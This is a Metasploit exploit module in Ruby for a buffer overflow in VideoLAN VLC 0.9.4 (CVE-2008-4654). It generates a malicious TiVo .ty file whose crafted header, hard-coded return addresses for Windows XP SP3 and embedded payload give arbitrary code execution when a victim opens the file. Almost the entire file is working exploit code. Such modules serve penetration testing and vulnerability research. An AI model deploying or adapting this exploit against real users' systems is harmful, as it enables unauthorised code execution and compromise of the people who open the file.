metasploit-framework/modules/exploits/windows/fileformat/videolan_tivo.rb

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'VideoLAN VLC TiVo Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in VideoLAN VLC 0.9.4.
By creating a malicious TY file, a remote attacker could overflow a
buffer and execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => 'MC',
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-4654' ],
[ 'OSVDB', '49181' ],
[ 'BID', '31813' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 550,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'VideoLAN VLC 0.9.4 (XP SP3 English)', { 'Ret' => 0x6a575cad } ],
[ 'VideoLAN VLC 0.9.2 (XP SP3 English)', { 'Ret' => 0x65473351 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Oct 22 2008',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.ty']),
], self.class)
end
def exploit
ty = "\xF5\x46\x7A\xBD"
ty << "\x00\x00\x00\x02"
ty << "\x00\x02\x00\x00"
ty << "\x00" * 8
ty << "\x00\x00\x05\x41"
ty << "\x00" * 4
ty << "\x00\x00\x05\x49"
ty << "\x00" * 60
ty << [target.ret].pack('V') + payload.encoded + make_nops(12)
ty << "\x00" * (130980 - 4 - payload.encoded.length - 12)
ty << "\x05"
ty << "\x00" * 3
ty << "\x05"
ty << "\x00" * 1
ty << "\x09"
ty << "\xc0"
ty << "\x00" * 14
ty << "\x06"
ty << "\xe0"
ty << "\x00" * 302004
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(ty)
end
end